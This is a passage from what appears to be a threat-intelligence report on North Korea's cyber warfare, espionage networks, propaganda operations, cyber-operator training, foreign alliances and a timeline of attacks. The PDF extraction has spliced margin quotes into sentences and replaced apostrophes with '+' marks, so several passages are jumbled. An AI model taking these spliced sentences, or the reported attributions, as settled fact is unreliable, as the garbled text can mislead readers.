"touches. + They reportedly recorded 12,473 of + known as the Chongryon, +these touches in February 2013, 11,000 of which were directed at a single financial are critical to North Korea +institution. As a baseline, Solutionary noted that typically only 200 incidents per cyber and intelligence +month are traced to North Korean origin. This is an interesting claim, considering + 174 programs. +that attacks attributed to North Korea are usually routed through other countries. +As mentioned above, a faction of ethnic North Koreans residing in Japan, known as the Chongryon, +are critical to North Korea +s cyber and intelligence programs and help generate hard currency for +the regime. The Chongryon headquarters has been recognized as the de facto North Korean +embassy in Japan. In 2012, the organization +s headquarters was seized to pay for the group +past due debts.175 +Figure 15 Headquarters of the Chongryon.176 + http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH13.pdf + http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf + http://www.usatoday.com/story/tech/2013/04/26/cyberspying-from-north-korean-ip-addresses-spike/2115349/ + http://sundaytimes.lk/?option=com_content&view=article&id=21034:japan-court-approves-seizure-of-nkorea-embassy- +media&catid=81:news&Itemid=625 + http://www.nknews.org/2014/02/chongryon-still-pyongyangs-pawn-in-covert-operations-former-intelligence-officer/ + It was then purchased by a monk named Ekan Ikeguchi, who let the Chongryon continue to use +the building in what he referred to as a +goodwill gesture +. Ikeguchi is one of the Chongryon +many ties to organized crime. Ikeguchi was arrested in the past for an attempted coup against the +Japanese government. He also has ties to the political group Nihon Seinensya, which is involved in +illegal activities in conjunction with the yakuza syndicate Sumiyoshi-kai, which imports and sells +amphetamines made in North Korea.177 North Korea also has black market ties to Sumiyoshi-kai +rival syndicate, Yamaguchi-gumi. Many members of the Kodo-kai, Yamaguchi-gumi +s ruling +faction, are Korean-Japanese, with ties to North Korea.178 Masahiro Namikawa, leader of the drug +trafficking Seido-kai yakuza organization, also has ties to the Chongryon.179 +The Chongryon operate at least two websites, chongryon.com, which is in Japanese, and korea- +np.co.jp. +WHOIS records for chongryon.com indicate that it was registered by +guanin o + using the email +address park2@mac.com. The WHOIS information for korea-np.co.jp. shows that it was +registered by Choson Shinbo Company Inc. The WHOIS records for these sites can be found in +Appendix A. +Additionally, the Chongryon operate a ferry called the Mangyongbong-92, the only direct transit +from Japan to North Korea. In 2003, they were suspected of using the ferry to smuggle missile +parts.180 In 2006, the ferry was temporarily banned from Japanese waters when Japanese officials +discovered the Chongryon were using it to smuggle dual-use electronics to North Korea to be +used for military purposes.181 +North Korea has a global network of state-run businesses located in 30 to 40 North Korea has a global +countries that is used for espionage activities. The Reconnaissance General Bureau network of state-run +is responsible for oversight of this network.182 The businesses include cafes and businesses located in 30 to +other non-suspect establishments. The highest concentration of these is in China. 40 countries that is used for + espionage activities. These +Members of this espionage network reportedly +send more than $100 million in + establishments are also +cash per year to the regime and provide cover for spies. +183 These establishments used for money laundering +are also used for money laundering and drug trafficking.184 and drug trafficking. +The regime is also known to kidnap foreign citizens and use them as instruments +for intelligence. Prisoners are first tortured and psychologically conditioned to bend to the +regime +s will. They are then used based on their skillset. This may include teaching their language +to North Koreans, spreading propaganda in their native language, providing translation services, + http://japandailypress.com/religious-group-that-bought-north-korean-embassy-building-has-mob-ties-0826568/ + http://culturmag.de/crimemag/jake-adelstein-the-yakuza-2/20212 + http://www.thedailybeast.com/articles/2013/06/25/the-great-japanese-gang-wars.html + http://news.bbc.co.uk/2/hi/asia-pacific/2958968.stm + http://www.washingtontimes.com/news/2006/oct/16/20061016-122859-4745r/ + http://www.ibtimes.com/north-koreas-international-network-restaurants-used-gain-hard-currency-espionage-1427242 + http://www.outsideonline.com/outdoor-adventure/politics/Did-North-Korea-Kidnap-This-American- +Hiker.html?utm_content=buffer6bd46&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer + http://freebeacon.com/national-security/north-koreas-overseas-restaurants-used-for-espionage-and-gaining-hard-currency/ + conducting military training, or other skills the regime deems useful.185 In July 2014, Japanese +officials agreed to lift some sanctions on North Korea when the regime agreed to investigate the +whereabouts of Japanese citizens who were allegedly abducted by North Korean agents decades +ago. Sanctions to be lifted include the ban on port calls to Japan by North Korean ships.186 +North Korea has also infiltrated important positions in South Korea for both intelligence and +psychological operations purposes.187 In 2011, South Korea +s National Intelligence +Service reportedly discovered the presence of Communist spies. These spies within their trusted +circles had been reporting back to North Korea for almost 10 years. The embedded spies included +a Democratic Party representative. According to the agency, the spies were on a mission to +infiltrate and influence the Democratic Party and to gather military intelligence.188 The regime also +attempts to infiltrate organizations made up of North Koreans who seek shelter in South Korea, in +order to gain intelligence. In the past several years, South Korea has arrested at least 14 defectors +who were found to be spies.189 +These intelligence collection and counterintelligence capabilities are an attempt to provide the +regime with a strategic asymmetrical advantage. The regime leverages its human and cyber +resources around the globe to provide an influx of intelligence, while very little credible +intelligence about the regime +s activities and capabilities ever becomes available to the outside +world. +Psychological operations +North Korea continues to be a master of propaganda and deception and leverages the cyber +realm for psychological operations. Modern North Korean psychological operations tactics include +distribution of propaganda via traditional media outlets, websites, and social media. Many of +these psychological operations campaigns are politically focused.190 According to Dr. Andrei +Lankov, the North Korean government has +very rational and highly successful manipulators who +usually get what they want by outsmarting everybody else in the process. +The regime +s Unit 204 is responsible for cyber-psychological operations. These +operations are PSYOP tailored for the cyber arena. In order to be successful, cyber- Such messages can be + used for recruitment, +psychological campaigns require speed, precision, and creativity. These campaigns cyber mobilization, and to +leverage the phenomenon of viral, unverified news stories that tend to rapidly instill fear in a target +propagate via social media, mobile text messaging, and other electronic population. +communications. This phenomenon creates an arena for strategic propagation of both +fact and fiction for the purposes of sentiment manipulation. Such messages may be used for + http://www.outsideonline.com/outdoor-adventure/politics/Did-North-Korea-Kidnap-This-American- +Hiker.html?utm_content=buffer6bd46&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer + http://m.us.wsj.com/articles/tokyo-to-lift-some-sanctions-on-pyongyang-1404354699?mobile=y + http://www.nytimes.com/2013/10/02/world/asia/northern-spy-lifts-cloak-on-koreas-deadly-rivalry.html?pagewanted=2 + http://www.kccoc.org/home/?mid=eng_kccoc_info_korea&document_srl=3223&sort_index=readed_count&order_type=desc + http://www.washingtonpost.com/world/prominent-n-korean-defector-acquitted-of-espionage-by-s-korean-court/2013/08/22/642b3712-0b19- +11e3-89fe-abb4a5067014_story.html + https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg + http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ + recruitment, cyber mobilization, and to instill fear in a target population. Cyber-psychological +operations may also include mental suggestion using technology as a delivery mechanism for +subliminal cues. It is unknown whether North Korea possesses this capability.192 +North Korean citizens have access to state-approved social networks on the Kwangmyong.193 +Figure 16 A photo posted by Jean Lee on Instagram shows one of the social networking sites on +the Kwangmyong.194 +The regime has a limited overt social media presence on the Internet. Some of the known social +media platforms employed by the regime include Twitter, Facebook, and YouTube. The YouTube +channel North Korea Today, operated by user rodrigorojo1, features news clips from North Korea. +It is unclear whether this channel is officially sanctioned.195 The North Korea Today YouTube +channel also has corresponding profiles on Twitter196 and Facebook.197 + http://fmso.leavenworth.army.mil/documents/new-psyop.pdf + http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ + http://instagram.com/p/WpcJs1OCkb/ + https://www.youtube.com/user/rodrigorojo1 + https://twitter.com/NorthKoreaT0day + https://www.facebook.com/pages/Korean-Central-Television/380193555435568?fref=ts + Figure 17 A screenshot of the North Korea Today YouTube Channel.198 +The Uriminzokkiri website, known for pushing juche ideology and anti-American and anti-South +Korean messages, has accompanying social media profiles on YouTube,199 Google+,200 and +Facebook.201 It also has Twitter profiles in both Korean202 and English.203 + https://www.youtube.com/user/rodrigorojo1 + https://www.youtube.com/user/uriminzokkiri + https://plus.google.com/u/0/112306344682887627095 + https://www.facebook.com/pages/Uriminzokkiri/124452740935216 + https://twitter.com/uriminzok + https://twitter.com/uriminzok_engl + Figure 18 A screenshot of the Uriminzokkiri YouTube channel.204 +Figure 19 A screenshot from the Uriminzokkiri Facebook page shows anti-U.S. and pro-juche +rhetoric.205 + https://www.youtube.com/user/uriminzokkiri/featured + https://www.facebook.com/pages/Uriminzokkiri/124452740935216 + Figure 20 A screenshot of the Uriminzokkiri Korean language Twitter profile.206 +Figure 21 A screenshot of the Uriminzokkiri English language Twitter profile.207 +North Korean propaganda208 is used for several purposes: to enforce the ideals of allies In the spirit of juche, +and sympathizers, to frame North Korea in a favorable light to outsiders, to the regime uses +sensationalize the regime +s perceived self-reliance and military prowess, and to shield its disinformation to +hide + lapses or tout +own citizens from the outside world.209 Juche ideology and indoctrination of the regime + accomplishments that +youth ensure support of the local population. North Koreans accept military duty as an may have never been +honor and strive to excel in their service to the regime. In the spirit of juche, the regime achieved. +uses disinformation to +hide lapses or tout accomplishments that may have never been + https://www.facebook.com/pages/Uriminzokkiri/124452740935216 + https://twitter.com/uriminzok_engl + http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf + http://fas.org/irp/eprint/cno-dprk.pdf + achieved. +210 Limiting citizen access to the outside world by instituting the Kwangmyong intranet, +North Korea ensures its citizens are not exposed to outside information that is counterproductive +to citizen indoctrination or in conflict with juche ideals. North Korea portrays the West, particularly +the United States, as an enemy. The regime uses this strategy of shifting the population +negative sentiments toward an external entity to keep its citizens ignorant of North Korea +s own +economic hardship, regime brutality, and systemic incompetence.211 For example, prior to Kim +Jong Il +s death in 2011, North Korean media altered photos of their +Dear Leader + to make him +appear younger and healthier than he really was. This became obvious when the altered photos +were compared to those taken by Western media around the same time. 212 +According to Dr. Andrei Lankov, +North Koreans now have a much better understanding of what is +going on in the outside than they did before. This is largely thanks to the spread of DVDs and +video content in the country, but also because some of them have been to China and talk about +what they have seen +many [of] them sincerely believe that the United States remains ready to +attack at any moment and that Japan is an incurably aggressive place +nearly all of them swallow +the official propaganda myths about the Korean War being started by the 'American Imperialists' +who invaded them. Hence, they see the outside world as an inherently dangerous place. +213 Some +human rights groups seek to reach out to North Korean citizens and break them from this +isolation. In August 2014, the New York-based charity Human Rights Foundation sponsored a +hackathon in San Francisco called +Hack North Korea + to find new ways to get information in, out, +and around North Korea. The event brought together many programmers, human rights +campaigners, and defectors.214 +North Korea even uses +trolling + as a PSYOP tactic. On the Internet, +trolls + are users who post +messages that are often crass, controversial, inflammatory, or offensive, in order to evoke a +strong reaction or influence a reader +s opinion. Often, the motivation for trolling is simply for the +troll +s enjoyment. The rude and offensive trolling tactics are in stark contrast to traditional forms +of persuasive rhetoric. However, North Korea reportedly utilizes over 200 military intelligence +operatives to troll South Korean message boards and social media pages with pro-North Korean +sentiments.215 Matt Rhoades, director of the cyberspace and security program at the Truman +National Security Project, said, "North Korea's cyber-development is almost just a new +harassment mechanism for them, a low-cost, asymmetric method to harass its neighbor in the +south +"216 +Leveraging the cyber and intelligence resources noted above, North Korea +s psychological +operations serve an important strategic role. The ability to influence outsiders, while effectively +isolating its own population from most outside influence, allows North Korea to remain an +enigma. Additionally, in line with its PSYOP tactics, North Korea may strategically take credit for +cyber attacks that were, in reality, launched by another entity. Whether the targeted entity blames + http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf + http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf + https://www.strategypage.com/htmw/htmurph/articles/20131106.aspx + http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ + http://www.northkoreatech.org/2014/08/05/hack-north-korea-focuses-silicon-valley-on-information-flow/ + http://www.strategypage.com/htmw/htiw/articles/20131213.aspx + http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 + North Korea for the attacks, or the regime simply takes credit for an attack that has not yet been +attributed, several PSYOP goals can come into play. First, to claim credit for an attack amplifies +the impact of a show of force, particularly if South Korea is the target. This tactic can be used to +stir sentiments in order to provoke a reaction. Second, North Korea may lay claim to responsibility +for an attack that exceeds its capabilities in order to seem more technologically advanced and +more capable. Third, any success, or the appearance thereof, enforces the juche ideal of regime +self-sufficiency. Finally, North Korea may act as a scapegoat and claim credit for a cyber attack of +an ally such as China so the attack is not attributed to the real actors.217 +Electronic warfare +North Korea reportedly has the electronic warfare capabilities to jam GPS and to inject false GPS +coordinates.218 North Korea demonstrated these capabilities in March 2011 by jamming South +Korea +s GPS signals during a joint U.S.-South Korea military exercise.219 North Korea has the +capability to create an EMP.220 An EMP is a sudden, extreme outburst of atmospheric electricity +creating an intense magnetic field that can burn out electrical equipment. 221 A report from the +U.S. Department of Homeland Security (DHS) noted North Korea +s ability to deliver a nuclear +warhead as a satellite over the South Pole, effectively creating the burst needed to deliver an EMP +targeting the United States. An EMP could effectively disrupt electronic communications including +critical infrastructure components such as telecommunications, financial institutions, the energy +sector, transportation, food and water delivery, emergency services, and space systems. 222 North +Korea reportedly acquired its EMP technology from Russia.223 +North Korea also has a drone program. The regime reportedly acquired its first drones in the late +1980 +s or early 1990 +s. The regime +s drones are complimentary to its intelligence program and +are primarily used for surveillance.224 In early 2014 a North Korean drone crashed south of the +38th parallel, the line dividing North Korea from the south.225 While early reports noted that the +drones appeared similar to those manufactured by Chinese company Tauyuan Navigation Friend +Aviation Technology, the company denied involvement.226 + http://fas.org/irp/doddir/army/fm3-05-301.pdf + https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg + http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 + http://defensetech.org/2007/12/24/inside-dprks-unit-121/ + http://usatoday30.usatoday.com/tech/science/2010-10-26-emp_N.htm + http://www.wnd.com/2014/04/dhs-study-north-korea-capable-of-emp-attack-on-u-s/ + http://www.extremetech.com/extreme/170563-north-korea-emp + http://38north.org/2014/07/jbermudez070114/?utm_source=feedly&utm_reader=feedly&utm_medium=rss&utm_campaign=jbermudez070114 + http://www.popsci.com/blog-network/eastern-arsenal/north-koreas-new-drones-are-chinese-which-opens-new-mystery + http://www.scmp.com/news/china-insider/article/1494207/north-korean-drones-not-theirs-says-chinese-retailer + Figure 22 A drone attributed to North Korea. 227 +Stressing the importance of the regime +s electronic warfare capabilities, in 1999 former regime +leader Kim Jong Il said +The basic key to victory in modern warfare is to do well in electronic +warfare. +228 Since the regime +s advanced technology lags behind that of South Korea and the U.S., +its capability to disrupt the communications of these perceived adversaries is a vital asymmetric +capability.229 +Training cyber warriors +North Korea utilizes primary and secondary education and the university system to train its cyber +warfare operators. According to reports by defectors, the regime seeks out children who show +mathematical talent and sends them through rigorous advanced training.230 A vintage North +Korean animation stresses the importance of mathematics in North Korean education. The short +film follows a young boy as he does his geometry homework. The frustrated boy begins to +daydream then has visions of going to war with the U.S. and needing geometry to effectively +calculate missile trajectory during the battle.231 + http://blogs.wsj.com/korearealtime/2014/04/02/seoul-points-to-north-korea-in-crashed-drones-investigation/ + http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH13.pdf + http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH5.pdf + http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html + http://theweek.com/article/index/255243/how-to-kill-americans-with-geometry-a-north-korean-propaganda-film-for-kids + Figure 23 A screenshot from the North Korean animation depicting geometry as a necessary skill +for battle.232 +Science and technology students are expected to learn foreign languages, which may include +Chinese, Japanese, and English.233 Student emails, chats, and web browsing activities are heavily +monitored.234 Around age twelve or thirteen, chosen students are enrolled in accelerated +computer courses at First and Second Geumseong Senior-Middle Schools. + https://www.youtube.com/watch?v=ujtp-70zQME + https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html + http://www.thestar.com/news/world/2014/02/23/north_korea_where_the_internet_has_just_5500_sites.html# + Figure 24 North Korean students training for cyber war.235 +The successful students are then sent to Kim Il-sung University, Kim Chaek University of +Technology,236 or the Command Automation University, traditionally known as Mirim University. +Kim Il-sung University +s computer center was started in 1985. Its computer courses have a heavy +programming element. The university reportedly developed the Intelligent Locker hard disc +protection program, Worluf Antivirus, SIMNA (simulation and system analysis program), a war +games program, a hepatitis diagnosis and prescription system, and a C++ program development +tool called FC 2.0.237 Kim Il-sung University also has programs focusing on nuclear research.238 +Kim Chaek University of Technology was established in 1948. In the late 1990s, it began to +restructure its computer-focused courses to reflect more modern technologies. As of 2002, the +university had three colleges focusing on computer science, information science and technology, +and machine science. Software developed by the university includes Computer Fax and SGVision, +an image-reprocessing program used for steganography.239 Students and instructors must +submit a formal request for permission in order to use the Internet for research.240 + http://www.courierpress.com/news/2013/apr/19/young-north-koreans-train-seek-revenge-us/ + http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html + http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf + http://www.nti.org/facilities/789/ + http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf + http://www.theguardian.com/world/2013/jan/08/north-korean-google-chief-search + The Command Automation University periodically chooses around 100 students for an intensive +five-year course prior to their assignment to serve in cyber intelligence and cyber warfare +capacities.241 Programs at the Command Automation University include command automation, +computers, programming, automated reconnaissance, and electronic warfare.242 Other students +attend a two-year accelerated university program, then study abroad in Russia or China before +they are assigned to a cyber-operator role.243 +The elite cyber operators are given special incentives. For example, parents of students +graduating from the cyber program with top scores are given the opportunity to live in +Pyongyang; and married cyber operators are given housing, a food allowance, and a stipend if +operating overseas. Due to the nature of their profession, these cyber elite are some of the only +North Koreans allowed to access the outside Internet.244 +Important political and military ties +While this report focuses on North Korea +s cyber warfare capabilities, these capabilities cannot be +fully separated from the implications of partnerships with countries known to deal in illegal +weapons trade with the regime. Now that cyberspace has become a legitimate arena for warfare, +these nations are also potential allies in the cyber realm. For this reason, the regime +s key political +and military relationships are explored below. +China +North Korea has a longstanding historical relationship with China. During the Korean War (1950- +1953), China allied with North Korea +s Communist forces. China has also provided ongoing +political and economic support to the regime +s leadership and is a primary trade partner. North +Korea is economically dependent on China. North Korea gets an estimated 90 percent of its +energy imports, 80 percent of its consumer goods, and 45 percent of its food supply from China. +This relationship is prudent + in the event of a military conflict, China can strategically use North +Korea as a buffer zone between itself and South Korea, where many U.S. military personnel are +stationed. Chinese aid to North Korea also deters the likelihood that the regime will collapse, +resulting in internal destabilization that could catalyze a U.S.-China conflict.245 +North Korea relies heavily on China for technological resources. As noted above, North Korea +relies on China +s Unicom for Internet access.246 Additionally, the regime sends some of its cyber +warriors to train in China247 and stations a portion of its Unit 121 personnel in Shenyang.248 Some +of North Korea +s official websites are hosted in China, 249 and KCC has a branch office there.250 + https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg + http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf + http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html + http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html + http://www.cfr.org/china/china-north-korea-relationship/p11097#p1 + https://rdns.im/the-pirate-bay-north-korean-hosting-no-its-fake-p2 + http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html + http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 + http://binarycore.org/2012/05/30/investigating-north-koreas-netblock-part-3-topology/ + http://www.naenara.com.kp/en/kcc/ + North Korea also relies on China to provide much of its network hardware, including servers and +routers.251 +Russia +North Korea has a long history of ties to Russia. The former Soviet Union was the major sponsor +of the North Korean state and a major trading partner. Following the dissolution of the Soviet +Union, aid to North Korea was halted and trade diminished significantly. This chain of events +contributed to North Korea +s eventual economic collapse, as it could not survive without aid.252 +North Korea currently has a collaborative relationship with Russia in the cyber realm. The regime +CSTIA relies on Russia as one of several sources for technical data.253 North Korea also sends +some of its cyber warriors to train in Russia,254 and the regime reportedly acquired its EMP +technology from there.255 +Political ties between Russia and North Korea have become stronger in recent months. In 2014, +potentially as a result of the U.S. response to the Russian-Ukranian conflict, Russia began to +strengthen ties with North Korea. Negotiations reportedly included promises of trade and +development projects. Narushige Michishita, a North Korea and Asia security expert at Japan's +National Graduate Institute for Policy Studies, stated +By strengthening its relationship with North +Korea, Russia is trying to enhance its bargaining position vis- +-vis the United States and Japan. +Russia also recently forgave most of the regime +s debts.257 +Iran +North Korea and Iran have longstanding political and military ties. North Korea supplied Iran with +conventional arms during the Iran-Iraq War. Iran and North Korea reportedly collaborate closely in +ballistic missile development efforts. In the past, Iran provided the North Korean regime with +necessary funds and oil in exchange for missile parts and technology. 258 259 In 2009, a North +Korean plane transporting 35 tons of weapons and allegedly bound for Iran was seized after +making an unscheduled stop in Bangkok, Thailand. That same year, United Arab Emirates seized a +ship bound for Iran that was transporting several containers of North Korean weapons, including +rocket-propelled grenades and ammunition. Reportedly, the customer was a company affiliated +with Iran +s Islamic Revolutionary Guard Corps. 260 261 +North Korea also has cyberwar ties with Iran. In 2012, North Korea and Iran signed a technology +treaty to help combat +common enemies + in cyberspace. The treaty included provisions for +cooperation in research, student exchanges, and joint laboratories. Joint projects reportedly + http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 + http://www.aljazeera.com/indepth/opinion/2014/06/n-korea-russia-step-toward-worl-201462253320470677.html + https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol48no1/pdf/v48i1a04p.pdf + http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html + http://www.extremetech.com/extreme/170563-north-korea-emp + http://www.theguardian.com/world/2014/jun/04/russia-bolster-ties-north-korea + http://www.voanews.com/content/russia-forgives-north-korean-debt/1939188.html + http://thediplomat.com/2013/10/the-iran-secret-explaining-north-koreas-rocket-success/2/ + http://humanities.tau.ac.il/iranian/en/previous-reviews/10-iran-pulse-en/117-10 + http://www.armscontrol.org/factsheets/dprkchron + http://www.irantracker.org/foreign-relations/north-korea-iran-foreign-relations + include IT information sharing, engineering, biotechnology, renewable energy, and sustainability. +F-Secure +s Mikko Hypponen stated, "It's highly likely that one of the reasons for this co-operation +is for them to work together regarding their cyber defence and cyber offense strategies". +Hypponen cited Flame malware as a possible triggering event for the creation of this treaty. +Others also suspect that Iran and North Korea +s mutual interest in development of nuclear +weapons and the need to protect refineries against malware such as Stuxnet were driving factors +in the establishment of the treaty.262 U.S. House Foreign Affairs Committee leaders assert that the +treaty indicates North Korea and Iran are collaborating on a joint nuclear weapons program.263 +Additionally, North Korea, in conjunction with Iran and Syria, reportedly supports both Hamas and +Hezbollah in procuring kinetic weaponry and communications equipment and in establishing +operational infrastructure.264 265 266 +Syria +North Korea has both a cyber relationship and kinetic weapons ties with Syria. KCC reportedly has +a branch in Syria.267 +In 2007, Israel launched an airstrike, destroying a Syrian target that was allegedly a nuclear facility +under construction with North Korea +s assistance. U.S. officials noted the facility was modeled on +the North Korean nuclear reactor at Yongbyon.268 +The North Korea-Syria relationship becomes more important in the context of both countries + ties +with Iran. As noted above, Iran, North Korea, and Syria jointly provide support to extremist groups +Hamas and Hezbollah.269 270 271 Additionally, as we explored in HPSR Security Briefing Episode 11, +Iran and Syria +s military alliances extend to joint SIGINT and cyber operations.272 +Cuba +North Korea also has an interesting relationship with Cuba + one that includes supplying weapons +and apparent attempts to illegally smuggle weapons. In 2013, a North Korean cargo ship on its +return voyage was stopped near the Panama Canal. The ship was carrying surface-to-air missile +parts, disguised as containers of sugar. In an attempt to save face, Cuba +s Ministry of Foreign +Affairs stated that the cargo included "240 metric tons of obsolete defensive weapons -- two anti- +aircraft missile complexes Volga and Pechora, nine missiles in parts and spares, two Mig-21 Bis +and 15 motors for this type of airplane, all of it manufactured in the mid-20th century -- to be + http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware + http://www.voanews.com/content/ties-among-north-korea-syria-iran-a-major-security-threat/1639769.html + http://38north.org/2014/08/aberger080514/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+38North+%2838+North%3A+ +Informed+Analysis+of+North+Korea%29 + http://www.jewishjournal.com/opinion/article/hamas_global_support_network_must_be_targeted + http://www.ibtimes.com/north-korea-send-hamas-weapons-communication-equipment-secret-arms-deal-1640088 + http://www.naenara.com.kp/en/kcc/ + http://www.armscontrol.org/factsheets/dprkchron + http://38north.org/2014/08/aberger080514/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+38North+%2838+North%3A+ +Informed+Analysis+of+North+Korea%29 + http://www.jewishjournal.com/opinion/article/hamas_global_support_network_must_be_targeted + http://www.ibtimes.com/north-korea-send-hamas-weapons-communication-equipment-secret-arms-deal-1640088 + http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243#.U_TiZGSwL-0 + repaired and returned to Cuba." Experts said the cargo appeared to include a SNR-75 Fan Song +fire-control radar system for an SA-2 missile, a Soviet-era missile system that was also used in +Cuba.273 Following the incident, Fidel Castro credited former North Korean leader Kim Il-Sung for +providing Cuba with weapons near the end of the Cold War. Weapons included 100,000 AK rifles +and necessary ammunition.274 +While no apparent cyber relationship exists between North Korea and Cuba at this time, their track +record for weapons trade means the potential for future collaboration in the cyber realm cannot +be discounted. +Timeline of significant North Korean cyber activity +2004 + North Korea gains access to 33 South Korean military wireless communication + networks275 +2006 + The U.S. State Department is attacked by entities in the East Asia-Pacific region. The + attacks coincided with State Department negotiations with North Korea regarding the + regime +s nuclear missile tests. (June)276 + + A South Korean military official states North Korea +s Unit 121 has breached South Korean + and U.S. military entities. (July)277 +2007 + North Korea tests a logic bomb (October)278 +2009 + North Korea states that it is +fully ready for any form of high-tech war. + (June)279 + DarkSeoul DDoS and disk wiping malware targeting South Korean and U.S. government, + media outlet, and financial websites. These attacks also coincided with U.S. Independence + Day. (July)280 281 + Malware for +Operation Troy + was likely planted.282 +2010 + DarkSeoul Backdoor.Prioxer detected (June) 283 + Korean Central News Agency website becomes North Korea +s first known direct + connection to the Internet (October)284 + http://www.nbcnews.com/news/other/north-korean-ship-carrying-hidden-missile-equipment-detained-after-leaving-f6C10647045 + http://www.abc.net.au/news/2013-08-15/fidel-castro-cuba-north-korea-war-ussr/4887920 + http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea + http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112? + http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea + http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea + http://www.huffingtonpost.com/2009/07/11/north-korea-army-lab-110-_n_229986.html + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + http://powerofcommunity.net/poc2009/si.pdf + http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + http://www.northkoreatech.org/2010/10/09/the-new-face-of-kcna/ + 2011 + +10 Days of Rain + Attack - DarkSeoul DDoS and disk wiping malware against South Korean + media, financial, and critical infrastructure targets (March)285 286 + North Korea disrupts South Korean GPS signals (March)287 + North Korea reportedly attempts DDoS attack against Incheon Airport 288 + Nonghyup bank suffers DDoS attack (April)289 +2012 + South Korean newspaper JoongAng Ilbo attacked (June)290 + DarkSeoul Downloader.Castov detected (October)291 + North Korea signs treaty with Iran, agreeing to combat +common enemies + cyberspace292 +2013 + +March 20 + disk wiping attacks against South Korean media and financial institutions + (March)293 + + Whois Team claims responsibility for attacking LG +U website with wiper malware and + defacement, impacting South Korean media and financial institutions (March) 294 295 + + The New Romantic Cyber Army Team claims responsibility for the same attacks296 + + North Korea experiences 36-hour Internet outage. The cause was never definitively + determined297 + + Anonymous launches #OpNorthKorea and targets North Korean websites (March)298 + + Anonymous allegedly hacks Uriminzokkiri and takes over its Twitter and Flickr pages 299 + (April) + + DarkSeoul attack on South Korean financial institutions (May)300 + + DarkSeoul DDoS attacks against South Korean government +s DNS server (June)301 + + Details on Kimsuky malware, which targeted South Korean think tanks, first released + (September)302 +2014 + North Korean drones found near South Korean border (March and April)303 + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/preview?pli=1 + http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 + http://threatpost.com/report-north-korea-accused-ddos-attack-south-korean-airport-060712/76664 + http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 + http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix6- +1226391202749 + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware + http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war + http://www.zdnet.com/massive-attack-on-lg-uplus-sparks-n-korea-reprisal-fears-7000012881/ + http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ + 